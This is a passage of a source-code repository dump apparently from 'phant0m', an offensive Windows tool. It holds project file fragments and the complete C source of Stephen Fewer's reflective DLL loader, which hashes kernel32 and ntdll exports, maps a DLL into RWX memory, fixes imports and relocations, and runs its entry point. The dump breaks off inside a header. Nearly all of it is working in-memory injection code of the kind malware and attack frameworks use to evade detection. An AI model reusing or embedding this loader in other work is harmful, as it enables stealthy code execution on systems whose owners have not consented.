10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
23 |
24 | Header Files
25 |
26 |
27 | Header Files
28 |
29 |
30 | Header Files
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files
37 |
38 |
39 |
--------------------------------------------------------------------------------
/phant0m/phant0m-exe/phant0m-exe.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/phant0m/phant0m-rdll/ReflectiveDLLInjection.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
30 | //===============================================================================================//
31 | #define WIN32_LEAN_AND_MEAN
32 | #include
33 |
34 | // we declare some common stuff in here...
35 |
36 | #define DLL_QUERY_HMODULE 6
37 |
38 | #define DEREF( name )*(UINT_PTR *)(name)
39 | #define DEREF_64( name )*(DWORD64 *)(name)
40 | #define DEREF_32( name )*(DWORD *)(name)
41 | #define DEREF_16( name )*(WORD *)(name)
42 | #define DEREF_8( name )*(BYTE *)(name)
43 |
44 | typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
45 | typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
46 |
47 | #define DLLEXPORT __declspec( dllexport )
48 |
49 | //===============================================================================================//
50 | #endif
51 | //===============================================================================================//
--------------------------------------------------------------------------------
/phant0m/phant0m-rdll/ReflectiveLoader.c:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #include "ReflectiveLoader.h"
29 | //===============================================================================================//
30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
31 | HINSTANCE hAppInstance = NULL;
32 | //===============================================================================================//
33 | #pragma intrinsic( _ReturnAddress )
34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally
35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
37 | // available (and no inline asm available under x64).
38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
39 | //===============================================================================================//
40 |
41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
42 | // otherwise the DllMain at the end of this file will be used.
43 |
44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub.
46 |
47 | // This is our position independent reflective DLL loader/injector
48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
50 | #else
51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
52 | #endif
53 | {
54 | // the functions we need
55 | LOADLIBRARYA pLoadLibraryA = NULL;
56 | GETPROCADDRESS pGetProcAddress = NULL;
57 | VIRTUALALLOC pVirtualAlloc = NULL;
58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
59 |
60 | USHORT usCounter;
61 |
62 | // the initial location of this image in memory
63 | ULONG_PTR uiLibraryAddress;
64 | // the kernels base address and later this images newly loaded base address
65 | ULONG_PTR uiBaseAddress;
66 |
67 | // variables for processing the kernels export table
68 | ULONG_PTR uiAddressArray;
69 | ULONG_PTR uiNameArray;
70 | ULONG_PTR uiExportDir;
71 | ULONG_PTR uiNameOrdinals;
72 | DWORD dwHashValue;
73 |
74 | // variables for loading this image
75 | ULONG_PTR uiHeaderValue;
76 | ULONG_PTR uiValueA;
77 | ULONG_PTR uiValueB;
78 | ULONG_PTR uiValueC;
79 | ULONG_PTR uiValueD;
80 | ULONG_PTR uiValueE;
81 |
82 | // STEP 0: calculate our images current base address
83 |
84 | // we will start searching backwards from our callers return address.
85 | uiLibraryAddress = caller();
86 |
87 | // loop through memory backwards searching for our images base address
88 | // we dont need SEH style search as we shouldnt generate any access violations with this
89 | while (TRUE)
90 | {
91 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
92 | {
93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
96 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
97 | {
98 | uiHeaderValue += uiLibraryAddress;
99 | // break if we have found a valid MZ/PE header
100 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
101 | break;
102 | }
103 | }
104 | uiLibraryAddress--;
105 | }
106 |
107 | // STEP 1: process the kernels exports for the functions our loader needs...
108 |
109 | // get the Process Enviroment Block
110 | #ifdef WIN_X64
111 | uiBaseAddress = __readgsqword(0x60);
112 | #else
113 | #ifdef WIN_X86
114 | uiBaseAddress = __readfsdword(0x30);
115 | #else WIN_ARM
116 | uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
117 | #endif
118 | #endif
119 |
120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
122 |
123 | // get the first entry of the InMemoryOrder module list
124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
125 | while (uiValueA)
126 | {
127 | // get pointer to current modules name (unicode string)
128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
129 | // set bCounter to the length for the loop
130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
131 | // clear uiValueC which will store the hash of the module name
132 | uiValueC = 0;
133 |
134 | // compute the hash of the module name...
135 | do
136 | {
137 | uiValueC = ror((DWORD)uiValueC);
138 | // normalize to uppercase if the madule name is in lowercase
139 | if (*((BYTE*)uiValueB) >= 'a')
140 | uiValueC += *((BYTE*)uiValueB) - 0x20;
141 | else
142 | uiValueC += *((BYTE*)uiValueB);
143 | uiValueB++;
144 | } while (--usCounter);
145 |
146 | // compare the hash with that of kernel32.dll
147 | if ((DWORD)uiValueC == KERNEL32DLL_HASH)
148 | {
149 | // get this modules base address
150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
151 |
152 | // get the VA of the modules NT Header
153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
154 |
155 | // uiNameArray = the address of the modules export directory entry
156 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
157 |
158 | // get the VA of the export directory
159 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
160 |
161 | // get the VA for the array of name pointers
162 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
163 |
164 | // get the VA for the array of name ordinals
165 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
166 |
167 | usCounter = 3;
168 |
169 | // loop while we still have imports to find
170 | while (usCounter > 0)
171 | {
172 | // compute the hash values for this function name
173 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
174 |
175 | // if we have found a function we want we get its virtual address
176 | if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
177 | {
178 | // get the VA for the array of addresses
179 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
180 |
181 | // use this functions name ordinal as an index into the array of name pointers
182 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
183 |
184 | // store this functions VA
185 | if (dwHashValue == LOADLIBRARYA_HASH)
186 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
187 | else if (dwHashValue == GETPROCADDRESS_HASH)
188 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
189 | else if (dwHashValue == VIRTUALALLOC_HASH)
190 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
191 |
192 | // decrement our counter
193 | usCounter--;
194 | }
195 |
196 | // get the next exported function name
197 | uiNameArray += sizeof(DWORD);
198 |
199 | // get the next exported function name ordinal
200 | uiNameOrdinals += sizeof(WORD);
201 | }
202 | }
203 | else if ((DWORD)uiValueC == NTDLLDLL_HASH)
204 | {
205 | // get this modules base address
206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
207 |
208 | // get the VA of the modules NT Header
209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
210 |
211 | // uiNameArray = the address of the modules export directory entry
212 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
213 |
214 | // get the VA of the export directory
215 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
216 |
217 | // get the VA for the array of name pointers
218 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
219 |
220 | // get the VA for the array of name ordinals
221 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
222 |
223 | usCounter = 1;
224 |
225 | // loop while we still have imports to find
226 | while (usCounter > 0)
227 | {
228 | // compute the hash values for this function name
229 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
230 |
231 | // if we have found a function we want we get its virtual address
232 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
233 | {
234 | // get the VA for the array of addresses
235 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
236 |
237 | // use this functions name ordinal as an index into the array of name pointers
238 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
239 |
240 | // store this functions VA
241 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
243 |
244 | // decrement our counter
245 | usCounter--;
246 | }
247 |
248 | // get the next exported function name
249 | uiNameArray += sizeof(DWORD);
250 |
251 | // get the next exported function name ordinal
252 | uiNameOrdinals += sizeof(WORD);
253 | }
254 | }
255 |
256 | // we stop searching when we have found everything we need.
257 | if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
258 | break;
259 |
260 | // get the next entry
261 | uiValueA = DEREF(uiValueA);
262 | }
263 |
264 | // STEP 2: load our image into a new permanent location in memory...
265 |
266 | // get the VA of the NT Header for the PE to be loaded
267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
268 |
269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
272 |
273 | // we must now copy over the headers
274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
275 | uiValueB = uiLibraryAddress;
276 | uiValueC = uiBaseAddress;
277 |
278 | while (uiValueA--)
279 | *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
280 |
281 | // STEP 3: load in all of our sections...
282 |
283 | // uiValueA = the VA of the first section
284 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
285 |
286 | // itterate through all sections, loading them into memory.
287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
288 | while (uiValueE--)
289 | {
290 | // uiValueB is the VA for this section
291 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
292 |
293 | // uiValueC if the VA for this sections data
294 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
295 |
296 | // copy the section over
297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
298 |
299 | while (uiValueD--)
300 | *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
301 |
302 | // get the VA of the next section
303 | uiValueA += sizeof(IMAGE_SECTION_HEADER);
304 | }
305 |
306 | // STEP 4: process our images import table...
307 |
308 | // uiValueB = the address of the import directory
309 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
310 |
311 | // we assume their is an import table to process
312 | // uiValueC is the first entry in the import table
313 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
314 |
315 | // itterate through all imports
316 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
317 | {
318 | // use LoadLibraryA to load the imported module into memory
319 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
320 |
321 | // uiValueD = VA of the OriginalFirstThunk
322 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
323 |
324 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
325 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
326 |
327 | // itterate through all imported functions, importing by ordinal if no name present
328 | while (DEREF(uiValueA))
329 | {
330 | // sanity check uiValueD as some compilers only import by FirstThunk
331 | if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
332 | {
333 | // get the VA of the modules NT Header
334 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
335 |
336 | // uiNameArray = the address of the modules export directory entry
337 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
338 |
339 | // get the VA of the export directory
340 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
341 |
342 | // get the VA for the array of addresses
343 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
344 |
345 | // use the import ordinal (- export ordinal base) as an index into the array of addresses
346 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
347 |
348 | // patch in the address for this imported function
349 | DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
350 | }
351 | else
352 | {
353 | // get the VA of this functions import by name struct
354 | uiValueB = (uiBaseAddress + DEREF(uiValueA));
355 |
356 | // use GetProcAddress and patch in the address for this imported function
357 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
358 | }
359 | // get the next imported function
360 | uiValueA += sizeof(ULONG_PTR);
361 | if (uiValueD)
362 | uiValueD += sizeof(ULONG_PTR);
363 | }
364 |
365 | // get the next import
366 | uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
367 | }
368 |
369 | // STEP 5: process all of our images relocations...
370 |
371 | // calculate the base address delta and perform relocations (even if we load at desired image base)
372 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
373 |
374 | // uiValueB = the address of the relocation directory
375 | uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
376 |
377 | // check if their are any relocations present
378 | if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
379 | {
380 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
381 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
382 |
383 | // and we itterate through all entries...
384 | while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
385 | {
386 | // uiValueA = the VA for this relocation block
387 | uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
388 |
389 | // uiValueB = number of entries in this relocation block
390 | uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
391 |
392 | // uiValueD is now the first entry in the current relocation block
393 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
394 |
395 | // we itterate through all the entries in the current block...
396 | while (uiValueB--)
397 | {
398 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
399 | // we dont use a switch statement to avoid the compiler building a jump table
400 | // which would not be very position independent!
401 | if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
402 | *(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
403 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
404 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
405 | #ifdef WIN_ARM
406 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
407 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
408 | {
409 | register DWORD dwInstruction;
410 | register DWORD dwAddress;
411 | register WORD wImm;
412 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
413 | dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
414 | // flip the words to get the instruction as expected
415 | dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
416 | // sanity chack we are processing a MOV instruction...
417 | if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
418 | {
419 | // pull out the encoded 16bit value (the high portion of the address-to-relocate)
420 | wImm = (WORD)(dwInstruction & 0x000000FF);
421 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
422 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
423 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
424 | // apply the relocation to the target address
425 | dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
426 | // now create a new instruction with the same opcode and register param.
427 | dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
428 | // patch in the relocated address...
429 | dwInstruction |= (DWORD)(dwAddress & 0x00FF);
430 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
431 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
432 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
433 | // now flip the instructions words and patch back into the code...
434 | *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
435 | }
436 | }
437 | #endif
438 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
439 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
440 | else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
441 | *(WORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
442 |
443 | // get the next entry in the current relocation block
444 | uiValueD += sizeof(IMAGE_RELOC);
445 | }
446 |
447 | // get the next entry in the relocation directory
448 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
449 | }
450 | }
451 |
452 | // STEP 6: call our images entry point
453 |
454 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point
455 | uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
456 |
457 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
458 | pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
459 |
460 | // call our respective entry point, fudging our hInstance value
461 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
462 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
463 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
464 | #else
465 | // if we are injecting an DLL via a stub we call DllMain with no parameter
466 | ((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
467 | #endif
468 |
469 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
470 | return uiValueA;
471 | }
472 | //===============================================================================================//
473 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
474 |
475 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
476 | {
477 | BOOL bReturnValue = TRUE;
478 | switch (dwReason)
479 | {
480 | case DLL_QUERY_HMODULE:
481 | if (lpReserved != NULL)
482 | *(HMODULE*)lpReserved = hAppInstance;
483 | break;
484 | case DLL_PROCESS_ATTACH:
485 | hAppInstance = hinstDLL;
486 | break;
487 | case DLL_PROCESS_DETACH:
488 | case DLL_THREAD_ATTACH:
489 | case DLL_THREAD_DETACH:
490 | break;
491 | }
492 | return bReturnValue;
493 | }
494 |
495 | #endif
496 | //===============================================================================================//
--------------------------------------------------------------------------------
/phant0m/phant0m-rdll/ReflectiveLoader.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
30 | //===============================================================================================//
31 | #define WIN32_LEAN_AND_MEAN
32 | #include
33 | #include
34 | #include
35 |
36 | #include "ReflectiveDLLInjection.h"
37 |
38 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
39 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
40 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
41 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
42 |
43 | #define KERNEL32DLL_HASH 0x6A4ABC5B
